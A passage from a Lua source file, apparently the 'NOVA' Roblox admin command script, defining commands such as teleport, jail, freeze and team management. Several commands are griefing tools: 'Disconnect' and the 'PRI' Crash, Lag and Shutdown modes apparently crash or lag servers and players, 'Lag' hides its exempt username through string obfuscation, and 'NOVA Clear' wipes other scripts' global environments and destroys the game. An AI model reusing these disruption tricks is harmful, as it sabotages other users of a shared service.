  2272.                 v.Neutral = true
  2273.             end
  2274.         end
  2275.  
  2276.     end
  2277. )
  2278.  
  2279. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  2280.     function(Msg,Speaker)
  2281.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2282.             pcall(function()
  2283.                 v:LoadCharacter()
  2284.             end)
  2285.         end
  2286.     end
  2287. )
  2288.  
  2289. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  2290.     function(Msg,Speaker)    
  2291.         RemoveTablets(Speaker)
  2292.         local Data = GetRankedTable(Speaker)
  2293.         Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  2294.         Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  2295.         Output("Get/ Commands",Data.Color,Speaker,nil,
  2296.             function()
  2297.                 RemoveTablets(Speaker)
  2298.                 for _,v in pairs(NOVA.Commands) do
  2299.                     if v.Command:sub(1,3) == "get" then
  2300.                         Output(v.Name,Data.Color,Speaker,nil,
  2301.                             function()
  2302.                                 RemoveTablets(Speaker)
  2303.                                 Output("Name : "..v.Name,Data.Color,Speaker)
  2304.                                 Output("Rank : "..v.Rank,Data.Color,Speaker)
  2305.                                 Output("Command : "..v.Command,Data.Color,Speaker)
  2306.                                 Output("Arguments : "..v.Args,Data.Color,Speaker)
  2307.                                 Output("Description : "..v.Description,Data.Color,Speaker)
  2308.                                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2309.                             end
  2310.                         )    
  2311.                     end
  2312.                 end
  2313.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2314.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2315.             end
  2316.         )
  2317.         for i=0,7 do
  2318.  
  2319.             Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  2320.                 RemoveTablets(Speaker)
  2321.                 for _,v in pairs(NOVA.Commands) do
  2322.                     if v.Rank == i then
  2323.                         Output(v.Name,Data.Color,Speaker,nil,function()
  2324.                             RemoveTablets(Speaker)
  2325.                             Output("Name : "..v.Name,Data.Color,Speaker)
  2326.                             Output("Rank : "..v.Rank,Data.Color,Speaker)
  2327.                             Output("Command : "..v.Command,Data.Color,Speaker)
  2328.                             Output("Arguments : "..v.Args,Data.Color,Speaker)
  2329.                             Output("Description : "..v.Description,Data.Color,Speaker)
  2330.                             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2331.                         end)
  2332.                     end
  2333.                 end    
  2334.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2335.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2336.             end)
  2337.         end
  2338.         Output("ALL",Data.Color,Speaker,nil,function()
  2339.             RemoveTablets(Speaker)
  2340.             for _,v in pairs(NOVA.Commands) do
  2341.                 if GetRank(Speaker) >= v.Rank then
  2342.                     Output(v.Name,Data.Color,Speaker,nil,function()
  2343.                         RemoveTablets(Speaker)
  2344.                         Output("Name : "..v.Name,Data.Color,Speaker)
  2345.                         Output("Rank : "..v.Rank,Data.Color,Speaker)
  2346.                         Output("Command : "..v.Command,Data.Color,Speaker)
  2347.                         Output("Arguments : "..v.Args,Data.Color,Speaker)
  2348.                         Output("Description : "..v.Description,Data.Color,Speaker)
  2349.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2350.                     end)
  2351.                 end
  2352.             end
  2353.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2354.             Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2355.         end)    
  2356.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2357.     end
  2358. )
  2359.  
  2360. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  2361.     function(Msg,Speaker)
  2362.         Instance.new("ManualSurfaceJointInstance",workspace)
  2363.     end
  2364. )
  2365.  
  2366. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  2367.     function(Msg,Speaker)
  2368.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2369.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2370.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2371.             else
  2372.                 pcall(function()
  2373.                     Lag(v)
  2374.                 end)
  2375.             end
  2376.         end
  2377.     end
  2378. )
  2379.  
  2380.  
  2381. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  2382.     function(Msg,Speaker)
  2383.         RemoveTablets(Speaker)
  2384.         Output("List","Random",Speaker,nil,
  2385.             function()
  2386.                 RemoveTablets(Speaker)
  2387.                 for _,v in pairs(NOVA.Ranked) do
  2388.                     if v.InPRI == true then
  2389.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  2390.                             RemoveTablets(Speaker)
  2391.                             OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2392.                         end)
  2393.                     end
  2394.                 end
  2395.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2396.             end
  2397.         )
  2398.        
  2399.         Output("Type","Random",Speaker,nil,
  2400.             function()
  2401.                 RemoveTablets(Speaker)
  2402.                 Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  2403.                     function()
  2404.                         NOVA.PRIType = "Kick"
  2405.                         RemoveTablets(Speaker)
  2406.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2407.                     end
  2408.                 )
  2409.                 Output("Lag",NOVA.Colors.Red,Speaker,nil,
  2410.                     function()
  2411.                         NOVA.PRIType = "Lag"
  2412.                         RemoveTablets(Speaker)
  2413.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2414.                     end
  2415.                 )
  2416.                 Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  2417.                     function()
  2418.                         NOVA.PRIType = "Shutdown"
  2419.                         RemoveTablets(Speaker)
  2420.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2421.                     end
  2422.                 )
  2423.                 Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  2424.                     function()
  2425.                         NOVA.PRIType = "Crash"
  2426.                         RemoveTablets(Speaker)
  2427.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2428.                     end
  2429.                 )
  2430.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2431.             end
  2432.         )
  2433.         Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  2434.             function()
  2435.                 NOVA.PRI = true
  2436.                 RemoveTablets(Speaker)
  2437.                 OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2438.             end
  2439.         )
  2440.        
  2441.         Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  2442.             function()
  2443.                 NOVA.PRI = false
  2444.                 RemoveTablets(Speaker)
  2445.                 OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2446.             end
  2447.         )
  2448.        
  2449.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2450.     end
  2451. )
  2452.  
  2453. --[[ GET COMMANDS ]]--
  2454.  
  2455. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  2456.     function(Msg,Speaker)
  2457.         if #Msg == 0 or Msg == nil then
  2458.             RemoveTablets(Speaker)
  2459.             for _,v in pairs(NOVA.Ranks) do
  2460.                 local RankNumber = v[1]
  2461.                 local RankName = v[2]
  2462.                 Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
  2463.                     function()
  2464.                         RemoveTablets(Speaker)
  2465.                         for _,v in pairs(GetPlayersRaw()) do
  2466.                             if GetRank(v) == RankNumber then
  2467.                                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2468.                                     function()
  2469.                                         PlayerInterface(v,Speaker)
  2470.                                     end
  2471.                                 )
  2472.                             end
  2473.                         end
  2474.                         Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2475.                             function()
  2476.                                 OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2477.                             end
  2478.                         )
  2479.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2480.                     end
  2481.                 )
  2482.             end
  2483.             Output("ALL",NOVA.Colors.Blue,Speaker,nil,
  2484.                 function()
  2485.                     RemoveTablets(Speaker)
  2486.                    
  2487.                     for _,v in pairs(GetPlayersRaw()) do
  2488.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2489.                             function()
  2490.                                 PlayerInterface(v,Speaker)
  2491.                             end
  2492.                         )
  2493.                     end
  2494.  
  2495.                     Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2496.                         function()
  2497.                             OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2498.                         end
  2499.                     )
  2500.                     Output("Dismiss",NOVA.Colors.Red,Speaker)
  2501.                 end
  2502.             )    
  2503.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2504.         else
  2505.             PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
  2506.         end
  2507.     end
  2508. )
  2509.  
  2510. AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
  2511.     function(Msg,Speaker)
  2512.         Split = GetSplit(Msg)
  2513.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2514.             GetRankedTable(v).Desc = Msg:sub(Split+1)
  2515.             SyncRankOutSingular(v)
  2516.         end
  2517.     end
  2518. )
  2519.  
  2520. AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2521.     function(Msg,Speaker)
  2522.         if Msg == "true" then
  2523.             GetRankedTable(Speaker).CMD = true
  2524.         elseif Msg == "false" then
  2525.             GetRankedTable(Speaker).CMD = false
  2526.             pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2527.         else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2528.         end
  2529.         SyncRankOutSingular(Speaker)
  2530.     end
  2531. )
  2532.  
  2533. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  2534.     function(Msg,Speaker)
  2535.         pcall(function()
  2536.             for i=1,4 do
  2537.                 Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2538.             end
  2539.         end)
  2540.     end
  2541. )
  2542.  
  2543. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  2544.     function(Msg,Speaker)
  2545.         pcall(function()
  2546.             Speaker:LoadCharacter()
  2547.         end)
  2548.     end
  2549. )
  2550.  
  2551. AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
  2552.     function(Msg,Speaker)
  2553.         Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  2554.     end
  2555. )
  2556.  
  2557. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  2558.     function(Msg,Speaker)
  2559.         pcall(function()
  2560.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2561.                 for i=1,4 do
  2562.                     Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2563.                 end
  2564.             end
  2565.         end)
  2566.     end
  2567. )
  2568.  
  2569. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
  2570.     function(Msg,Speaker)
  2571.         local Split = GetSplit(Msg)
  2572.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2573.             if GetRank(Speaker) > GetRank(v) then
  2574.                 if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
  2575.                     Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
  2576.                 else
  2577.                     GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
  2578.                     SyncRankOutSingular(v)
  2579.                 end
  2580.             end
  2581.         end
  2582.     end
  2583. )
  2584.  
  2585. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  2586.     function(Msg,Speaker)
  2587.  
  2588.         Split = GetSplit(Msg)              
  2589.         send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2590.         to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  2591.         for _,a in pairs(send) do
  2592.             for _,b in pairs(to) do
  2593.                 pcall(function()
  2594.                     a.Character.Torso.CFrame = b.Character.Torso.CFrame
  2595.                 end)
  2596.             end
  2597.         end
  2598.        
  2599.     end
  2600. )
  2601.  
  2602. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  2603.     function(Msg,Speaker)
  2604.  
  2605.         Split = GetSplit(Msg)          
  2606.         send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2607.         to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  2608.         for i, player in pairs(send) do
  2609.             pcall(function()
  2610.                 player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  2611.                 * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  2612.                 * CFrame.new(0, 0, 3 + (#send*2) )
  2613.             end)
  2614.         end
  2615.     end
  2616. )
  2617.  
  2618. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  2619.     function(Msg,Speaker)
  2620.         Split = GetSplit(Msg)                
  2621.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2622.             pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  2623.         end
  2624.     end
  2625. )
  2626.  
  2627. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  2628.     function(Msg,Speaker)
  2629.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2630.             pcall(function()
  2631.                 v.Character:BreakJoints()
  2632.                 E = Instance.new("Explosion",NOVA.Services.Workspace)
  2633.                 E.Position = v.Character.Torso.Position
  2634.                 E.BlastPressure = 124000
  2635.             end)
  2636.         end
  2637.     end
  2638. )
  2639.  
  2640. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  2641.     function(Msg,Speaker)
  2642.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2643.             pcall(function()
  2644.                 v.Character.Humanoid.MaxHealth = math.huge
  2645.             end)
  2646.         end
  2647.     end
  2648. )
  2649.  
  2650. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  2651.     function(Msg,Speaker)
  2652.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2653.             pcall(function()
  2654.                 v.Character.Torso.Touched:connect(function(part)
  2655.                     if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  2656.                         part.CanCollide = true
  2657.                         part:BreakJoints()
  2658.                         for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
  2659.                     end
  2660.                 end)
  2661.             end)
  2662.         end
  2663.     end
  2664. )
  2665.  
  2666. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  2667.     function(Msg,Speaker)
  2668.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2669.             pcall(function()
  2670.                 v.Character.Parent = NOVA.Services.Lighting
  2671.             end)
  2672.         end
  2673.     end
  2674. )
  2675.  
  2676. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  2677.     function(Msg,Speaker)
  2678.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2679.             pcall(function()
  2680.                 v.Character.Parent = NOVA.Services.Workspace
  2681.                 v.Character:MakeJoints()
  2682.                 pcall(function() v.Character.Animate.Disabled = false end)
  2683.             end)
  2684.         end
  2685.     end
  2686. )
  2687.  
  2688. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  2689.     function(Msg,Speaker)
  2690.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2691.             pcall(function()
  2692.                 for _,part in pairs(v.Character:GetChildren()) do
  2693.                     pcall(function()
  2694.                         part.Anchored = true
  2695.                     end)
  2696.                 end
  2697.             end)
  2698.         end
  2699.     end
  2700. )
  2701.  
  2702. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  2703.     function(Msg,Speaker)
  2704.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2705.             pcall(function()
  2706.                 for _,part in pairs(v.Character:GetChildren()) do
  2707.                     pcall(function()
  2708.                         part.Anchored = false
  2709.                     end)
  2710.                 end
  2711.             end)
  2712.         end
  2713.     end
  2714. )
  2715.  
  2716. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  2717.     function(Msg,Speaker)
  2718.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2719.             pcall(function()
  2720.                 for _,part in pairs(v.Backpack:GetChildren()) do
  2721.                     part:Destroy()
  2722.                 end
  2723.             end)
  2724.         end
  2725.     end
  2726. )
  2727.  
  2728. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2729.     function(Msg,Speaker)
  2730.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2731.             pcall(function()
  2732.                 v.Backpack:Destroy()
  2733.             end)
  2734.         end
  2735.     end
  2736. )
  2737.  
  2738. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2739.     function(Msg,Speaker)
  2740.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2741.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2742.             pcall(function() v.Character.Humanoid.Sit = true end)
  2743.         end
  2744.     end
  2745. )
  2746.  
  2747. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2748.     function(Msg,Speaker)
  2749.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2750.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2751.             pcall(function() v.Character.Humanoid.Sit = false end)
  2752.         end
  2753.     end
  2754. )
  2755.  
  2756. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2757.     function(Msg,Speaker)
  2758.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2759.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2760.             pcall(function() v.Character.Humanoid.Jump = true end)
  2761.         end
  2762.     end
  2763. )
  2764.  
  2765. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2766.     function(Msg,Speaker)
  2767.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2768.             pcall(function()
  2769.                 Speaker.Character = v.Character
  2770.             end)
  2771.         end
  2772.     end
  2773. )
  2774.  
  2775. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2776.     function(Msg,Speaker)
  2777.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2778.             pcall(function()
  2779.                 for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2780.                     coroutine.resume(coroutine.create(function()
  2781.                         for i=1,10  do
  2782.                             wait()
  2783.                             v.Transparency = v.Transparency + 0.1
  2784.                         end
  2785.                     end))
  2786.                 end
  2787.             end)
  2788.         end
  2789.     end
  2790. )
  2791.  
  2792. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2793.     function(Msg,Speaker)
  2794.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2795.             pcall(function()
  2796.                 for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2797.                     coroutine.resume(coroutine.create(function()
  2798.                         for i=1,10  do
  2799.                             wait()
  2800.                             v.Transparency = v.Transparency - 0.1
  2801.                         end
  2802.                     end))
  2803.                 end
  2804.             end)
  2805.         end
  2806.     end    
  2807. )
  2808.  
  2809. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2810.     function(Msg,Speaker)
  2811.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2812.             pcall(function()
  2813.                 for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2814.             end)
  2815.         end
  2816.     end
  2817. )
  2818.  
  2819. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2820.     function(Msg,Speaker)
  2821.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2822.             pcall(function()
  2823.                 for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2824.             end)
  2825.         end
  2826.     end
  2827. )
  2828.  
  2829. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2830.     function(Msg,Speaker)
  2831.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2832.             pcall(function()
  2833.                 coroutine.resume(coroutine.create(function()
  2834.                     local MainCF = v.Character.Torso.CFrame
  2835.                     local Main = Instance.new("Model",workspace)
  2836.                     Main.Name = "Main"
  2837.                     table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
  2838.                     for Pitch = 1, 360, 360 do
  2839.                         for Yaw = 1, 360, 360/13 do
  2840.                             for Angle = 1,180, 8 do
  2841.                                 local Part = Instance.new("Part",Main)
  2842.                                 Part.Name = "Part"
  2843.                                 Part.FormFactor = "Custom"
  2844.                                 Part.TopSurface = "Smooth"
  2845.                                 Part.BottomSurface = "Smooth"
  2846.                                 Part.Reflectance = 0
  2847.                                 Part.Transparency = 0
  2848.                                 Part.Anchored = true
  2849.                                 Part.Locked = true
  2850.                                 Part.CanCollide = true
  2851.                                 Part.BrickColor = BrickColor.new("Navy blue")
  2852.                                 Part.Size = Vector3.new(2,1,4)
  2853.                                 Part.CFrame = MainCF
  2854.                                     * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2855.                                     * CFrame.new(0,5,0)
  2856.                                 local Mesh = Instance.new("BlockMesh",Part)
  2857.                                 Mesh.Scale = Vector3.new(1,1,0.1)
  2858.                                 if math.floor(Angle/5) == Angle/5 then
  2859.                                     wait()
  2860.                                 end
  2861.                             end
  2862.                         end
  2863.                     end
  2864.                    
  2865.                     v.Character.Torso.CFrame = MainCF
  2866.                    
  2867.                     while Main.Parent ~= nil do
  2868.                         wait()
  2869.                         pcall(function()
  2870.                             if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2871.                                 v.Character.Torso.CFrame = MainCF
  2872.                             end
  2873.                         end)
  2874.                     end
  2875.                 end))
  2876.             end)
  2877.         end
  2878.     end
  2879. )
  2880.  
  2881. AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
  2882.     function(Msg,Speaker)
  2883.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2884.             for Num,Jail in pairs(NOVA.Jails) do
  2885.                 if Jail.Player ~= nil and Jail.Player == v then
  2886.                     pcall(function() Jail.Jail:Destroy() end)
  2887.                     table.remove(NOVA.Jails,Num)
  2888.                 end
  2889.             end
  2890.         end
  2891.     end
  2892. )
  2893.  
  2894. AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
  2895.     function(Msg,Speaker)
  2896.         for i,v in pairs(_G) do
  2897.             if type(v) == "function" and getfenv(v).NOVA == nil then
  2898.                 for var,val in pairs(getfenv(v)) do
  2899.                     pcall(function() getfenv(v)[var] = nil end)
  2900.                 end
  2901.             end
  2902.         end
  2903.         for i,v in pairs(_G) do
  2904.             _G[i] = nil
  2905.         end
  2906.         SetGlobals()
  2907.         for _,v in pairs(NOVA.Services) do
  2908.             v.Name = "Unknown Exception"
  2909.         end    
  2910.         for i,v in pairs(GetRecursiveChildren()) do
  2911.             pcall(function()
  2912.                 if not v:IsA("Player") then
  2913.                     pcall(function()
  2914.                         if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  2915.                         else
  2916.                             pcall(function()
  2917.                                 v.Disabled = true
  2918.                             end)
  2919.                             pcall(function()
  2920.                                 NOVA.Services.Debris:AddItem(v,0)
  2921.                             end)
  2922.                         end
  2923.                     end)
  2924.                 end
  2925.             end)
  2926.         end
  2927.         for _,v in pairs(NOVA.Services) do    
  2928.             v.Name = v.className
  2929.         end
  2930.         local Base=Instance.new("Part",NOVA.Services.Workspace)
  2931.         Base.Name="Base"
  2932.         Base.Size=Vector3.new(2048,1,2048)
  2933.         Base.BrickColor=BrickColor.new("Bright green")
  2934.         Base.Anchored=true
  2935.         Base.Locked=true
  2936.         Base.TopSurface="Smooth"
  2937.         Base.Transparency = 1
  2938.         Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2939.         local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2940.         Spawn.Size=Vector3.new(6,1,6)
  2941.         Spawn.Transparency=1
  2942.         Spawn.CanCollide=false
  2943.         Spawn.Anchored=true
  2944.         Spawn.Locked=true
  2945.         Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2946.         for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
  2947.     end
  2948. )
  2949.  
  2950. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  2951.     function (Msg,Speaker)
  2952.         Split = GetSplit(Msg)
  2953.         for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  2954.             pcall(function()
  2955.                 Team = nil
  2956.                 for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  2957.                     if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  2958.                         Team = find
  2959.                     end
  2960.                 end
  2961.                 v.TeamColor = Team.TeamColor
  2962.             end)
  2963.         end
  2964.     end
  2965. )
  2966.  
  2967. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  2968.     function(Msg,Speaker)
  2969.         RemoveTablets(Speaker)
  2970.         for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  2971.             if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  2972.                 v:Remove()
  2973.             end
  2974.         end
  2975.     end
  2976. )
  2977.  
  2978. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  2979.     function(Msg,Speaker)
  2980.         Split = GetSplit(Msg)
  2981.         Team = Instance.new("Team",NOVA.Services.Teams)
  2982.         Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  2983.         Team.Name = Msg:sub(1,Split-1)
  2984.         Team.AutoAssignable = false
  2985.         Team.Neutral = false
  2986.     end
  2987. )
  2988.  
  2989. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  2990.     function(Msg,Speaker)
  2991.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2992.             v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  2993.         end
  2994.     end
  2995. )
  2996.  
  2997. AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
  2998.     function(Msg,Speaker)
  2999.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3000.        
  3001.                         local ride = Instance.new("VehicleSeat", Workspace)
  3002.                         ride.Position = v.Character.Torso.Position
  3003.                         ride.HeadsUpDisplay = false
  3004.                         ride.Size = Vector3.new(3,3,3)
  3005.                         local bg = Instance.new("BodyGyro", ride)
  3006.                         bg.maxTorque = Vector3.new(1e10,1e10,1e10)
  3007.                         local bp = Instance.new("BodyPosition", ride)
  3008.                         bp.position = v.Character.Torso.Position
  3009.                         bp.maxForce = Vector3.new(1e10,1e10,1e10)
  3010.                         Mesh = Instance.new("SpecialMesh")
  3011.                         Mesh.Parent = ride
  3012.                         Mesh.MeshType = Enum.MeshType.Sphere
  3013.                         ride.Transparency = 0.40000000596046
  3014.  
  3015.                         while wait() do
  3016.                             bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
  3017.                             bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
  3018.                         end
  3019.                        
  3020.         end
  3021.     end
  3022. )
  3023.  
  3024.  
  3025.  
  3026. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  3027.     function(Msg,Speaker)
  3028.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3029.             v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  3030.         end
  3031.     end
  3032. )
  3033.  
  3034. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3035.     function(Msg,Speaker)
  3036.         for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3037.             if Prometheus ~= nil then
  3038.                 if v ~= Prometheus.script("lushmylife") then
  3039.                     pcall(function()
  3040.                         v:Destroy()
  3041.                     end)
  3042.                 end
  3043.             else
  3044.                 pcall(function()
  3045.                     v:Destroy()
  3046.                 end)
  3047.             end
  3048.         end    
  3049.        
  3050.         local Base=Instance.new("Part",NOVA.Services.Workspace)
  3051.         Base.Name="Base"
  3052.         Base.Size=Vector3.new(2048,1,2048)
  3053.         Base.BrickColor=BrickColor.new("Dark green")
  3054.         Base.Anchored=true
